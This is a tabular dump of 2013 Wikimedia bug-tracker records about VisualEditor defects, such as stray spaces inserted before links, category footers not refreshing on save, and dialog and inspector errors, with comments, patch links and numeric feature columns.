+231707,Spaces added before colons and links in some cases,"Ignore last comment, should be: Could the fix to bug 52035 be related to this?",,,1375442806,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+231702,Spaces added before colons and links in some cases,Could the fix to bug 2035 be related to this?,,,1375442771,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+231698,Spaces added before colons and links in some cases,"It's not just ' either, also seen when removing - and "" in my sandbox https://en.wikipedia.org/w/index.php?title=User%3AThryduulf%2Fsandbox&diff=566841354&oldid=566840716
+
+spaces were added before internal and external links, except in the first instance where a space was added before a colon instead.",,,1375442619,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,1,1,1,0,1,0,0,0
+231693,Spaces added before colons and links in some cases,"We unfortunately can:
+http://en.wikipedia.org/w/index.php?title=Little_Mosque_on_the_Prairie&diff=prev&oldid=566820635
+
+It seems to be triggered by removal of '.
+Another user verified this (not actually saving, only preview mode) in http://en.wikipedia.org/wiki/Indian_Bank , removing the ' after ""Binny&Co"" would cause a whitespace to be added right before the next wikilink.",,,1375441882,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+231688,Spaces added before colons and links in some cases,"(In reply to comment #0)
+> See https://fr.wikipedia.org/w/index.php?title=COE&diff=prev&oldid=93166267
+> for example.
+> 
+> I only removed the link, but VisualEditor added a space before the colons.
+> 
+> Another example:
+> https://fr.wikipedia.org/w/index.php?title=MSS&diff=prev&oldid=93166411
+> 
+> There was already two spaces, but VisualEditor added a third.
+
+These have been now fixed - sorry for the difficulty.
+
+(In reply to comment #1)
+> The same happens when you edit the first word of a sequence ""word + word +
+> wikilink"", it will add an unnecessary space before the link. Examples,
+> http://it.wikipedia.org/w/index.php?title=Amazon.
+> com&diff=prev&oldid=59604951 - 
+> http://it.wikipedia.org/w/index.php?title=Google&diff=59622535&oldid=59377529
+> (<<talmente popolare ch in  [[lingua inglese|inglese]] >>).
+> This last one is a deliberate vandalism from me to check the issue, I later
+> rollbacked.
+
+I *think* this is also fixed but I'm not absolutely sure; please re-open if you can still reproduce this.",,,1372017555,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,2,True,,,-2,,0,0,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,0,0,0,1
+231680,Spaces added before colons and links in some cases,"The same happens when you edit the first word of a sequence ""word + word + wikilink"", it will add an unnecessary space before the link. Examples,
+http://it.wikipedia.org/w/index.php?title=Amazon.com&diff=prev&oldid=59604951 - 
+http://it.wikipedia.org/w/index.php?title=Google&diff=59622535&oldid=59377529 (<<talmente popolare ch in  [[lingua inglese|inglese]] >>).
+This last one is a deliberate vandalism from me to check the issue, I later rollbacked.",,,1371983634,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,0,0,0,1
+50566,VisualEditor: Convert save dialog to use ve.ui.Dialog,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1368753300,1381186965.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-7mo2ly5r5mqfuju3u5ar,task_description,resolved,True,c1,1,True,False,False,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+231403,VisualEditor: Convert save dialog to use ve.ui.Dialog,"Change 81876 merged by jenkins-bot:
+Make the save dialog an actual dialog
+
+https://gerrit.wikimedia.org/r/81876",,,1381186926,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-7mo2ly5r5mqfuju3u5ar,task_subcomment,,True,c1,3,False,,,14,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+231396,VisualEditor: Convert save dialog to use ve.ui.Dialog,"Change 81876 had a related patch set uploaded by Jforrester:
+Make the save dialog an actual dialog
+
+https://gerrit.wikimedia.org/r/81876",,,1378325639,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-7mo2ly5r5mqfuju3u5ar,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+231389,VisualEditor: Convert save dialog to use ve.ui.Dialog,*** Bug 50903 has been marked as a duplicate of this bug. ***,,,1377814666,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7mo2ly5r5mqfuju3u5ar,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+231381,VisualEditor: Convert save dialog to use ve.ui.Dialog,"Removing from a milestone; as discussed, we're not going to have time to get to this before next week, and the EventLogging integration needs to be done RSN.",,,1370566097,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7mo2ly5r5mqfuju3u5ar,task_subcomment,,True,c1,2,True,,,-4,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+231373,VisualEditor: Convert save dialog to use ve.ui.Dialog,"Setting milestone to 2013-06-27 since it is marked as blocker for ""Beta"" (2013-07). It may be moved to an earlier milestone as we see fit. But no later than 06-27. Setting it since I use milestone to sort ""My bugs"".",,,1370298479,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-7mo2ly5r5mqfuju3u5ar,task_subcomment,,True,c1,1,True,,,-4,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,1,0,1,1,0,0
+231365,VisualEditor: Convert save dialog to use ve.ui.Dialog,Trevor has some thoughts about this. :-),,,1368753519,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7mo2ly5r5mqfuju3u5ar,task_subcomment,,True,c1,1,True,,,-7,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+50565,VisualEditor: Can't move to last item in category dialog suggester box with cursors,"Not sure how to reproduce, but I get two items in the ""Matching categories"" section; I can only move to the top one, and pressing down doesn't work (but pointer-highlighting and selection does).
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1368749160,1371002039.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-pj4cd4p4ynmavre5zsn7,task_description,resolved,True,c1,1,True,False,True,-7,,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,0,1,0,0,0
+231317,VisualEditor: Can't move to last item in category dialog suggester box with cursors,Now fixed by Trevor.,,,1371002039,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pj4cd4p4ynmavre5zsn7,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+231311,VisualEditor: Can't move to last item in category dialog suggester box with cursors,Related URL: https://gerrit.wikimedia.org/r/68130 (Gerrit Change If48e001b92c217bee0a35b6da41d1c1ff0e3271c),,,1371001969,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pj4cd4p4ynmavre5zsn7,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+231304,VisualEditor: Can't move to last item in category dialog suggester box with cursors,"(In reply to comment #3)
+> I can't reproduce this on master.
+
+But I can. :-(
+
+Requires two extant (on page and in wiki) categories which start with the same character sequence (I have ""DoG and ""DooooG"")
+
+On suggesting 'd', I get:
+
+New category
+  d
+Move this category here
+Matching categories     <--- This should not be here at all
+  DoG                   <--- This should be in the ""Move this category here"" block
+  DooooG                <--- This should also be in ""Move this category here""",,,1371000702,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pj4cd4p4ynmavre5zsn7,task_subcomment,,True,c1,2,True,,,-3,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+231298,VisualEditor: Can't move to last item in category dialog suggester box with cursors,I can't reproduce this on master.,,,1370978406,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-pj4cd4p4ynmavre5zsn7,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+231292,VisualEditor: Can't move to last item in category dialog suggester box with cursors,Seemingly not; Trevor investigating.,,,1369407946,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pj4cd4p4ynmavre5zsn7,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+231288,VisualEditor: Can't move to last item in category dialog suggester box with cursors,Now fixed in master.,,,1369404163,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pj4cd4p4ynmavre5zsn7,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+50561,VisualEditor: Make a toolbar button to trigger the meta-data inspector,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial",High,80.0,1368747960,1369416082.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-koardc3to3cjpsgjsemv,task_description,resolved,True,c1,1,True,False,True,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+231042,VisualEditor: Make a toolbar button to trigger the meta-data inspector,Related URL: https://gerrit.wikimedia.org/r/65314 (Gerrit Change Ie87a3c7dde2f29c3898c08d4cade5c0ba2f937dd),,,1369420191,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-koardc3to3cjpsgjsemv,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+231036,VisualEditor: Make a toolbar button to trigger the meta-data inspector,Merged and will go out in wmf5.,,,1369416082,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-koardc3to3cjpsgjsemv,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+231031,VisualEditor: Make a toolbar button to trigger the meta-data inspector,Related URL: https://gerrit.wikimedia.org/r/65303 (Gerrit Change Ibf63329a53bcd8043d46315239c19be4e681a18a),,,1369410443,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-koardc3to3cjpsgjsemv,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+231026,VisualEditor: Make a toolbar button to trigger the meta-data inspector,"We will also want to kill the non-Category panels (or populate them, if you're feeling sprint-y).",,,1368748032,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-koardc3to3cjpsgjsemv,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+50560,VisualEditor: Category changing in page doesn't cause footer to be updated on save,"Do we need to trigger a re-render of the catlinks div? Can we?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52403",High,80.0,1368747000,1389638336.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-2astjxmuxt2yyso6g3kb,task_description,resolved,True,c1,1,True,False,False,-7,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,0
+230995,VisualEditor: Category changing in page doesn't cause footer to be updated on save,Verified the fix on test 2,,,1389901362,,PHID-USER-24djtv3gj5gua2y6u2g5,True,,,PHID-TASK-2astjxmuxt2yyso6g3kb,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+230993,VisualEditor: Category changing in page doesn't cause footer to be updated on save,"Change 107036 merged by jenkins-bot:
+Update categories HTML on page save
+
+https://gerrit.wikimedia.org/r/107036",,,1389638149,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-2astjxmuxt2yyso6g3kb,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+230991,VisualEditor: Category changing in page doesn't cause footer to be updated on save,"Change 107036 had a related patch set uploaded by Esanders:
+Update categories HTML on page save
+
+https://gerrit.wikimedia.org/r/107036",,,1389536961,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-2astjxmuxt2yyso6g3kb,task_subcomment,,True,c1,3,False,,,27,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+230988,VisualEditor: Category changing in page doesn't cause footer to be updated on save,*** Bug 57924 has been marked as a duplicate of this bug. ***,,,1386089449,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-2astjxmuxt2yyso6g3kb,task_subcomment,,True,c1,3,True,,,22,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+230984,VisualEditor: Category changing in page doesn't cause footer to be updated on save,"Note that the categories on the page are not refreshed even after multiple VE sessions.  i.e. VE add category -> save -> VE add category -> save : results in a page that _displays_ only the categories at the beginning of the process.
+
+Categories added via templates are also not displayed.",,,1384389210,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-2astjxmuxt2yyso6g3kb,task_subcomment,,True,c1,3,False,,,19,,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1
+230980,VisualEditor: Category changing in page doesn't cause footer to be updated on save,*** Bug 56683 has been marked as a duplicate of this bug. ***,,,1383767137,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-2astjxmuxt2yyso6g3kb,task_subcomment,,True,c1,3,True,,,18,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+230972,VisualEditor: Category changing in page doesn't cause footer to be updated on save,*** Bug 50737 has been marked as a duplicate of this bug. ***,,,1373556875,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-2astjxmuxt2yyso6g3kb,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+230964,VisualEditor: Category changing in page doesn't cause footer to be updated on save,*** Bug 50072 has been marked as a duplicate of this bug. ***,,,1372036218,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-2astjxmuxt2yyso6g3kb,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+230954,VisualEditor: Category changing in page doesn't cause footer to be updated on save,"It depends on what we get back from the server.
+
+If we get back something that is compatible with what api.php?action=parse gives (prop.categorieshtml, from Skin::getCategories), which is what live preview in core uses as well, then we can just update it by replacing the old with the new html.
+
+If we can't get that, we'll have to re-implement Skin::getCategories in javascript. However I'd like to avoid that since it is skin-specific (skins can do all kinds of weird stuff to it, hard to predict. Ideally this would fall under the parts of the page output (like mw-content-text, htmlhead and script loader) that has a fixed html layout that skins can't alter the html itself of (it has enough css hooks to style anyway they like, they shouldn't need to modify the html). But that's not the reality.
+
+--
+
+Oh wait, this isn't from the server (not MediaWiki, not Parsoid). I mean, it shouldn't. This is reflected live when editing the document. We'll have to do it in javascript somehow I'm afraid.",,,1370851294,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-2astjxmuxt2yyso6g3kb,task_subcomment,,True,c1,2,True,,,-3,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,0,1,1,0,1,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+50549,VisualEditor: Clicking link button while link inspector is already open throws error,"The button should probably not do anything if the inspector is already open.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1368737040,1369256685.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-7d3wwwbypeipgqn42o5c,task_description,resolved,True,c1,1,False,False,True,-7,,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+230362,VisualEditor: Clicking link button while link inspector is already open throws error,Merged and will go out with wmf5.,,,1369256685,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7d3wwwbypeipgqn42o5c,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+230353,VisualEditor: Clicking link button while link inspector is already open throws error,Related URL: https://gerrit.wikimedia.org/r/64818 (Gerrit Change Ia97b6e3d862e02f5c55cac3f490fd8f26052027a),,,1369150090,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7d3wwwbypeipgqn42o5c,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+50530,VisualEditor: Image resize handles persist on close,"If the image has focus when you click back on the 'Read' tab, the four circles stay on the page.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",High,80.0,1368698040,1369454138.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-2nyantno3ds7ohrifauv,task_description,resolved,True,c1,1,True,False,True,-7,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0
